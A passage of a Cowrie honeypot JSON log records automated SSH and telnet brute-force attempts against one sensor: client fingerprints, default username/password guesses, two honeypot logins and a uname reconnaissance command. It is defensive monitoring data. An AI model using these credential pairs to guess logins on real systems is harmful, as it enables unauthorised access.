n-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:23.534479Z","src_ip":"177.54.62.66","session":"82bad56a5a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:23.901091Z","src_ip":"192.109.200.78","session":"2993b1126134","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"asd","message":"login attempt [testuser/asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:24.090536Z","src_ip":"177.54.62.66","session":"82bad56a5a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:25.232338Z","src_ip":"177.54.62.66","session":"82bad56a5a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35154,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac4f2db10e00","protocol":"ssh","message":"New connection: 192.109.200.78:35154 (159.203.135.109:22) [session: ac4f2db10e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:26.635633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:26.641023Z","src_ip":"192.109.200.78","session":"ac4f2db10e00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:26.825114Z","src_ip":"192.109.200.78","session":"ac4f2db10e00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:27.121241Z","src_ip":"192.109.200.78","session":"ac4f2db10e00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":41432,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad6b6aeb64ec","protocol":"ssh","message":"New connection: 176.65.139.95:41432 (159.203.135.109:22) [session: ad6b6aeb64ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:27.540457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:27.545077Z","src_ip":"176.65.139.95","session":"ad6b6aeb64ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:27.635978Z","src_ip":"176.65.139.95","session":"ad6b6aeb64ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:27.962036Z","src_ip":"176.65.139.95","session":"ad6b6aeb64ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:28.207412Z","src_ip":"192.109.200.78","session":"ac4f2db10e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:29.046220Z","src_ip":"176.65.139.95","session":"ad6b6aeb64ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56078,"dst_ip":"159.203.135.109","dst_port":22,"session":"09078c7c0c55","protocol":"ssh","message":"New connection: 192.109.200.78:56078 (159.203.135.109:22) [session: 09078c7c0c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:30.807936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:30.812992Z","src_ip":"192.109.200.78","session":"09078c7c0c55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:30.896794Z","src_ip":"192.109.200.78","session":"09078c7c0c55","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:31.145341Z","src_ip":"192.109.200.78","session":"09078c7c0c55","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:31.369043Z","src_ip":"192.109.200.78","session":"09078c7c0c55","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:31.373133Z","src_ip":"192.109.200.78","session":"09078c7c0c55","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:31.459593Z","src_ip":"192.109.200.78","session":"09078c7c0c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:31.466066Z","src_ip":"192.109.200.78","session":"09078c7c0c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00213122367859,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:32.576000Z","src_ip":"119.94.70.246","session":"328e0e334f4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52118,"dst_ip":"159.203.135.109","dst_port":22,"session":"087cc6f60c2d","protocol":"ssh","message":"New connection: 176.65.139.95:52118 (159.203.135.109:22) [session: 087cc6f60c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:34.071667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:34.077402Z","src_ip":"176.65.139.95","session":"087cc6f60c2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:34.192298Z","src_ip":"176.65.139.95","session":"087cc6f60c2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:34.443429Z","src_ip":"176.65.139.95","session":"087cc6f60c2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56084,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f4dd24b7405","protocol":"ssh","message":"New connection: 192.109.200.78:56084 (159.203.135.109:22) [session: 3f4dd24b7405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:35.105948Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.94.70.246","src_port":52058,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bb14a2c5728","protocol":"telnet","message":"New connection: 119.94.70.246:52058 (159.203.135.109:23) [session: 1bb14a2c5728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:35.113988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:35.117329Z","src_ip":"192.109.200.78","session":"3f4dd24b7405","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:35.200074Z","src_ip":"192.109.200.78","session":"3f4dd24b7405","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:35.445641Z","src_ip":"192.109.200.78","session":"3f4dd24b7405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:35.543364Z","src_ip":"176.65.139.95","session":"087cc6f60c2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:36.531446Z","src_ip":"192.109.200.78","session":"3f4dd24b7405","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52318,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb84aa6c63ff","protocol":"ssh","message":"New connection: 192.109.200.78:52318 (159.203.135.109:22) [session: fb84aa6c63ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:39.086128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:39.162780Z","src_ip":"192.109.200.78","session":"fb84aa6c63ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:39.295627Z","src_ip":"192.109.200.78","session":"fb84aa6c63ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00131034851074,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:39.317955Z","src_ip":"129.222.147.99","session":"2ca7dfa235ed","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:39.573072Z","src_ip":"192.109.200.78","session":"fb84aa6c63ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:40.659159Z","src_ip":"192.109.200.78","session":"fb84aa6c63ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38144,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b6bad8bc52c","protocol":"ssh","message":"New connection: 176.65.139.95:38144 (159.203.135.109:22) [session: 9b6bad8bc52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:40.876433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:40.889923Z","src_ip":"176.65.139.95","session":"9b6bad8bc52c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:40.973323Z","src_ip":"176.65.139.95","session":"9b6bad8bc52c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:41.322855Z","src_ip":"176.65.139.95","session":"9b6bad8bc52c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:41.554986Z","src_ip":"176.65.139.95","session":"9b6bad8bc52c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:41.558615Z","src_ip":"176.65.139.95","session":"9b6bad8bc52c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:41.645082Z","src_ip":"176.65.139.95","session":"9b6bad8bc52c","protocol":"ssh"}
